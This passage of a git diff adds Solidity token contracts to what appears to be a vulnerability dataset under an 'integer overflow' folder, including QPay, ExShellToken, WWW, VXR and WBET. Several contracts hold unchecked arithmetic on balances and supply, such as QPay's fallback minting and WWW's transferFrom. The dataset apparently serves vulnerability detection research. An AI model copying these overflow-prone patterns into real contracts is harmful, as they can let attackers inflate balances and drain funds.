allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract NABC is StandardToken { + + + string public constant name = "NABC"; + string public constant symbol = "NABC"; + uint256 public constant decimals = 18; + string public version = "1.0"; + + address private creator; + mapping (address => uint256) private blackmap; + mapping (address => uint256) private releaseamount; + + modifier onlyCreator() { + require(msg.sender == creator); + _; + } + + function _addressNotNull(address _to) private pure returns (bool) { + return _to != address(0); + } + + function addBlackAccount(address _b) public onlyCreator { + require(_addressNotNull(_b)); + blackmap[_b] = 1; + } + + function clearBlackAccount(address _b) public onlyCreator { + require(_addressNotNull(_b)); + blackmap[_b] = 0; + } + + function checkBlackAccount(address _b) public returns (uint256) { + require(_addressNotNull(_b)); + return blackmap[_b]; + } + + function setReleaseAmount(address _b, uint256 _a) public onlyCreator { + require(_addressNotNull(_b)); + require(balances[_b] >= _a); + releaseamount[_b] = _a; + } + + function checkReleaseAmount(address _b) public returns (uint256) { + require(_addressNotNull(_b)); + return releaseamount[_b]; + } + + address account1 = 0xA1eA1e293839e2005a8E47f772B758DaBC0515FB; + address account2 = 0xD285bB3f0d0A6271d535Bd37798A452892466De0; + + uint256 public amount1 = 34* 10000 * 10000 * 10**decimals; + uint256 public amount2 = 14* 10000 * 10000 * 10**decimals; + + + + function NABC() { + creator = msg.sender; + totalSupply = amount1 + amount2; + balances[account1] = amount1; + balances[account2] = amount2; + balances[msg.sender] = 2 * 10000 * 10000 * 10**decimals; + } + + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + if(blackmap[msg.sender] != 0){ + if(releaseamount[msg.sender] < _value){ + return false; + } + else{ + releaseamount[msg.sender] -= _value; + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + } + else{ + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + } else { + return false; + } + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/640.sol b/smart_contract_dataset/integer overflow/640.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/640.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/655.sol b/smart_contract_dataset/integer overflow/655.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/655.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/688.sol b/smart_contract_dataset/integer overflow/688.sol new file mode 100644 index 0000000000000000000000000000000000000000..2ccf143a866eeee1c413e8888f8ed030bceced91 --- /dev/null +++ b/smart_contract_dataset/integer overflow/688.sol @@ -0,0 +1,338 @@ +pragma solidity 0.4.18; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract QPay { + + string public symbol="QPY"; + string public name="QPay" ; + uint8 public constant decimals = 18; + uint256 _totalSupply = 0; + uint256 _FreeQPY = 1230; + uint256 _ML1 = 2; + uint256 _ML2 = 3; + uint256 _ML3 = 4; + uint256 _LimitML1 = 3e15; + uint256 _LimitML2 = 6e15; + uint256 _LimitML3 = 9e15; + uint256 _MaxDistribPublicSupply = 950000000; + uint256 _OwnerDistribSupply = 0; + uint256 _CurrentDistribPublicSupply = 0; + uint256 _ExtraTokensPerETHSended = 150000; + + address _DistribFundsReceiverAddress = 0; + address _remainingTokensReceiverAddress = 0; + address owner = 0; + + + bool setupDone = false; + bool IsDistribRunning = false; + bool DistribStarted = false; + + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + event Burn(address indexed _owner, uint256 _value); + + mapping(address => uint256) balances; + mapping(address => mapping(address => uint256)) allowed; + mapping(address => bool) public Claimed; + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function QPay() public { + owner = msg.sender; + } + + function() public payable { + if (IsDistribRunning) { + uint256 _amount; + if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert(); + if (!_DistribFundsReceiverAddress.send(msg.value)) revert(); + if (Claimed[msg.sender] == false) { + _amount = _FreeQPY * 1e18; + _CurrentDistribPublicSupply += _amount; + balances[msg.sender] += _amount; + _totalSupply += _amount; + Transfer(this, msg.sender, _amount); + Claimed[msg.sender] = true; + } + + + + if (msg.value >= 9e15) { + _amount = msg.value * _ExtraTokensPerETHSended * 4; + } else { + if (msg.value >= 6e15) { + _amount = msg.value * _ExtraTokensPerETHSended * 3; + } else { + if (msg.value >= 3e15) { + _amount = msg.value * _ExtraTokensPerETHSended * 2; + } else { + + _amount = msg.value * _ExtraTokensPerETHSended; + + } + + } + } + + _CurrentDistribPublicSupply += _amount; + balances[msg.sender] += _amount; + _totalSupply += _amount; + Transfer(this, msg.sender, _amount); + + + + + } else { + revert(); + } + } + + function SetupQPY(string tokenName, string tokenSymbol, uint256 ExtraTokensPerETHSended, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeQPY) public { + if (msg.sender == owner && !setupDone) { + symbol = tokenSymbol; + name = tokenName; + _FreeQPY = FreeQPY; + _ExtraTokensPerETHSended = ExtraTokensPerETHSended; + _MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18; + if (OwnerDistribSupply > 0) { + _OwnerDistribSupply = OwnerDistribSupply * 1e18; + _totalSupply = _OwnerDistribSupply; + balances[owner] = _totalSupply; + _CurrentDistribPublicSupply += _totalSupply; + Transfer(this, owner, _totalSupply); + } + _DistribFundsReceiverAddress = DistribFundsReceiverAddress; + if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner; + _remainingTokensReceiverAddress = remainingTokensReceiverAddress; + + setupDone = true; + } + } + + function SetupML(uint256 ML1inX, uint256 ML2inX, uint256 LimitML1inWei, uint256 LimitML2inWei) onlyOwner public { + _ML1 = ML1inX; + _ML2 = ML2inX; + _LimitML1 = LimitML1inWei; + _LimitML2 = LimitML2inWei; + + } + + function SetExtra(uint256 ExtraTokensPerETHSended) onlyOwner public { + _ExtraTokensPerETHSended = ExtraTokensPerETHSended; + } + + function SetFreeQPY(uint256 FreeQPY) onlyOwner public { + _FreeQPY = FreeQPY; + } + + function StartDistrib() public returns(bool success) { + if (msg.sender == owner && !DistribStarted && setupDone) { + DistribStarted = true; + IsDistribRunning = true; + } else { + revert(); + } + return true; + } + + function StopDistrib() public returns(bool success) { + if (msg.sender == owner && IsDistribRunning) { + if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) { + uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; + if (_remainingAmount > 0) { + balances[_remainingTokensReceiverAddress] += _remainingAmount; + _totalSupply += _remainingAmount; + Transfer(this, _remainingTokensReceiverAddress, _remainingAmount); + } + } + DistribStarted = false; + IsDistribRunning = false; + } else { + revert(); + } + return true; + } + + function distribution(address[] addresses, uint256 _amount) onlyOwner public { + + uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; + require(addresses.length <= 255); + require(_amount <= _remainingAmount); + _amount = _amount * 1e18; + + for (uint i = 0; i < addresses.length; i++) { + require(_amount <= _remainingAmount); + _CurrentDistribPublicSupply += _amount; + balances[addresses[i]] += _amount; + _totalSupply += _amount; + Transfer(this, addresses[i], _amount); + + } + + if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) { + DistribStarted = false; + IsDistribRunning = false; + } + } + + function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public { + + uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; + uint256 _amount; + + require(addresses.length <= 255); + require(addresses.length == amounts.length); + + for (uint8 i = 0; i < addresses.length; i++) { + _amount = amounts[i] * 1e18; + require(_amount <= _remainingAmount); + _CurrentDistribPublicSupply += _amount; + balances[addresses[i]] += _amount; + _totalSupply += _amount; + Transfer(this, addresses[i], _amount); + + + if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) { + DistribStarted = false; + IsDistribRunning = false; + } + } + } + + function BurnTokens(uint256 amount) public returns(bool success) { + uint256 _amount = amount * 1e18; + if (balances[msg.sender] >= _amount) { + balances[msg.sender] -= _amount; + _totalSupply -= _amount; + Burn(msg.sender, _amount); + Transfer(msg.sender, 0, _amount); + } else { + revert(); + } + return true; + } + + function totalSupply() public constant returns(uint256 totalSupplyValue) { + return _totalSupply; + } + + function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) { + return _MaxDistribPublicSupply; + } + + function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) { + return _OwnerDistribSupply; + } + + function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) { + return _CurrentDistribPublicSupply; + } + + function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) { + return _remainingTokensReceiverAddress; + } + + function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) { + return _DistribFundsReceiverAddress; + } + + function Owner() public constant returns(address ownerAddress) { + return owner; + } + + function SetupDone() public constant returns(bool setupDoneFlag) { + return setupDone; + } + + function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) { + return IsDistribRunning; + } + + function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) { + return DistribStarted; + } + + function balanceOf(address _owner) public constant returns(uint256 balance) { + return balances[_owner]; + } + + function transfer(address _to, uint256 _amount) public returns(bool success) { + if (balances[msg.sender] >= _amount && + _amount > 0 && + balances[_to] + _amount > balances[_to]) { + balances[msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(msg.sender, _to, _amount); + return true; + } else { + return false; + } + } + + function transferFrom( + address _from, + address _to, + uint256 _amount + ) public returns(bool success) { + if (balances[_from] >= _amount && + allowed[_from][msg.sender] >= _amount && + _amount > 0 && + balances[_to] + _amount > balances[_to]) { + balances[_from] -= _amount; + allowed[_from][msg.sender] -= _amount; + balances[_to] += _amount; + Transfer(_from, _to, _amount); + return true; + } else { + return false; + } + } + + function approve(address _spender, uint256 _amount) public returns(bool success) { + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + function allowance(address _owner, address _spender) public constant returns(uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/847.sol b/smart_contract_dataset/integer overflow/847.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/847.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function ExShellToken() { + require(init==true); + totalSupply = 2000000000; + balances[0xa089a405b1df71a6155705fb2bce87df2a86a9e4] = totalSupply; + init = false; + } + address public controller1 =0xa089a405b1df71a6155705fb2bce87df2a86a9e4; + address public controller2 =0x5aa64423529e43a53c7ea037a07f94abc0c3a111; + + modifier controller () { + require(msg.sender == controller1||msg.sender == controller2); + _; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/9.sol b/smart_contract_dataset/integer overflow/9.sol new file mode 100644 index 0000000000000000000000000000000000000000..03443d405c90f257904c1a118f8d95c396e54fd1 --- /dev/null +++ b/smart_contract_dataset/integer overflow/9.sol @@ -0,0 +1,60 @@ +pragma solidity ^0.4.16; +contract WWW { + uint256 constant private MAX_UINT256 = 2**256 - 1; + mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + uint256 public totalSupply; + string public name; + uint8 public decimals; + string public symbol; + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + function WWW() public { + balances[msg.sender] = 100000000000000; + totalSupply = 100000000000000; + name = "WWW Chain"; + decimals =4; + symbol = "WWW"; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + + function test() public view returns (uint256 balance) { + return 2+3; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/944.sol b/smart_contract_dataset/integer overflow/944.sol new file mode 100644 index 0000000000000000000000000000000000000000..61053dfba311dfc46b2a161c7f7eb1894a0fd01d --- /dev/null +++ b/smart_contract_dataset/integer overflow/944.sol @@ -0,0 +1,217 @@ +pragma solidity ^0.4.22; + +library SafeMath { + function add(uint a, uint b) internal pure returns (uint c) { + c = a + b; + require(c >= a); + } + function sub(uint a, uint b) internal pure returns (uint c) { + require(b <= a); + c = a - b; + } + function mul(uint a, uint b) internal pure returns (uint c) { + c = a * b; + require(a == 0 || c / a == b); + } + function div(uint a, uint b) internal pure returns (uint c) { + require(b > 0); + c = a / b; + } +} + +contract ERC20Interface { + function totalSupply() public view returns (uint); + function balanceOf(address tokenOwner) public view returns (uint balance); + function allowance(address tokenOwner, address spender) public view returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); + event FrozenFunds(address target, uint tokens); + event Buy(address indexed sender, uint eth, uint token); +} + + +contract Owned { + address public owner; + address public newOwner; + event OwnershipTransferred(address indexed _from, address indexed _to); + + constructor() public { + owner = msg.sender; + } + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address _newOwner) public onlyOwner { + newOwner = _newOwner; + } + + + function acceptOwnership() public onlyOwner { + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + newOwner = address(0); + } +} + + +contract Pausable is Owned { + event Pause(); + event Unpause(); + + bool public paused = false; + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + +contract VXR is ERC20Interface, Pausable { + using SafeMath for uint; + string public symbol; + string public name; + uint8 public decimals; + + uint public _totalSupply; + mapping(address => uint) public balances; + mapping(address => uint) public lockInfo; + mapping(address => mapping(address => uint)) internal allowed; + mapping (address => bool) public admins; + + modifier onlyAdmin { + require(msg.sender == owner || admins[msg.sender]); + _; + } + + function setAdmin(address _admin, bool isAdmin) public onlyOwner { + admins[_admin] = isAdmin; + } + + constructor() public{ + symbol = 'VXR'; + name = 'Versara Trade'; + decimals = 18; + _totalSupply = 1000000000*10**uint(decimals); + balances[owner] = _totalSupply; + emit Transfer(address(0), owner, _totalSupply); + } + + function totalSupply() public view returns (uint) { + return _totalSupply; + } + + function balanceOf(address tokenOwner) public view returns (uint balance) { + return balances[tokenOwner]; + } + + function _transfer(address _from, address _to, uint _value) internal { + require(_to != 0x0); + require(_value != 0); + require(balances[_from] >= _value); + require(balances[_from] - _value >= lockInfo[_from]); + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(_from, _to, _value); + } + + function transfer(address to, uint tokens) public whenNotPaused returns (bool success) { + _transfer(msg.sender, to, tokens); + return true; + } + + function approve(address _spender, uint tokens) public whenNotPaused returns (bool success) { + allowed[msg.sender][_spender] = tokens; + emit Approval(msg.sender, _spender, tokens); + return true; + } + + function transferFrom(address from, address to, uint tokens) public whenNotPaused returns (bool success) { + require(allowed[from][msg.sender] >= tokens); + _transfer(from, to, tokens); + allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); + return true; + } + + function allowance(address tokenOwner, address spender) public whenNotPaused view returns (uint remaining) { + return allowed[tokenOwner][spender]; + } + + + function lockOf(address tokenOwner) public view returns (uint lockedToken) { + return lockInfo[tokenOwner]; + } + + + function lock(address target, uint lockedToken) public whenNotPaused onlyAdmin { + lockInfo[target] = lockedToken; + emit FrozenFunds(target, lockedToken); + } + + + function batchLock(address[] accounts, uint lockedToken) public whenNotPaused onlyAdmin { + for (uint i = 0; i < accounts.length; i++) { + lock(accounts[i], lockedToken); + } + } + + + function batchLockArray(address[] accounts, uint[] lockedToken) public whenNotPaused onlyAdmin { + for (uint i = 0; i < accounts.length; i++) { + lock(accounts[i], lockedToken[i]); + } + } + + + function batchAirdropWithLock(address[] receivers, uint tokens, bool freeze) public whenNotPaused onlyAdmin { + for (uint i = 0; i < receivers.length; i++) { + sendTokensWithLock(receivers[i], tokens, freeze); + } + } + + + function batchVipWithLock(address[] receivers, uint[] tokens, bool freeze) public whenNotPaused onlyAdmin { + for (uint i = 0; i < receivers.length; i++) { + sendTokensWithLock(receivers[i], tokens[i], freeze); + } + } + + + function sendTokensWithLock (address receiver, uint tokens, bool freeze) public whenNotPaused onlyAdmin { + _transfer(msg.sender, receiver, tokens); + if(freeze) { + uint lockedAmount = lockInfo[receiver] + tokens; + lock(receiver, lockedAmount); + } + } + + + function sendInitialTokens (address user) public onlyOwner { + _transfer(msg.sender, user, balanceOf(owner)); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/977.sol b/smart_contract_dataset/integer overflow/977.sol new file mode 100644 index 0000000000000000000000000000000000000000..209c123b509a350d7101b803341ef56cd500e717 --- /dev/null +++ b/smart_contract_dataset/integer overflow/977.sol @@ -0,0 +1,56 @@ +pragma solidity ^0.4.16; +contract WBET{ + + uint256 constant private MAX_UINT256 = 2**256 - 1; + mapping (address => uint256) public balances; + mapping (address => mapping (address => uint256)) public allowed; + + uint256 public totalSupply; + string public name; + uint8 public decimals; + string public symbol; + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + + function WBET() public { + balances[msg.sender] = 3600000000000; + totalSupply = 3600000000000; + name = "ÊÀÐÐÒÔÌ«Á´"; + decimals =4; + symbol = "WBET"; + } + + function transfer(address _to, uint256 _value) public returns (bool success) { + require(balances[msg.sender] >= _value); + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { + uint256 allowance = allowed[_from][msg.sender]; + require(balances[_from] >= _value && allowance >= _value); + balances[_to] += _value; + balances[_from] -= _value; + if (allowance < MAX_UINT256) { + allowed[_from][msg.sender] -= _value; + } + Transfer(_from, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) public returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) public view returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/integer overflow/980.sol b/smart_contract_dataset/integer overflow/980.sol new file mode 100644 index 0000000000000000000000000000000000000000..b7b711f74d06588735bdd49b5242037746ba7e80 --- /dev/null +++ b/smart_contract_dataset/integer overflow/980.sol @@ -0,0 +1,115 @@ +pragma solidity ^0.4.10; + + +contract SafeMath { + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + +} + + + +contract StandardToken is Token , SafeMath { + + bool public status = true; + modifier on() { + require(status == true); + _; + } + + function transfer(address _to, uint256 _value) on returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0 && _to != 0X0) { + balances[msg.sender] -= _value; + balances[_to] = safeAdd(balances[_to],_value); + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) on returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] = safeAdd(balances[_to],_value); + balances[_from] = safeSubtract(balances[_from],_value); + allowed[_from][msg.sender] = safeSubtract(allowed[_from][msg.sender],_value); + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) on constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) on returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) on constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + + + + +contract ExShellToken is StandardToken { + string public name = "ExShellToken"; + uint8 public decimals = 8; + string public symbol = "ET"; + bool private init =true; + function turnon() controller { + status = true; + } + function turnoff() controller { + status = false; + } + function 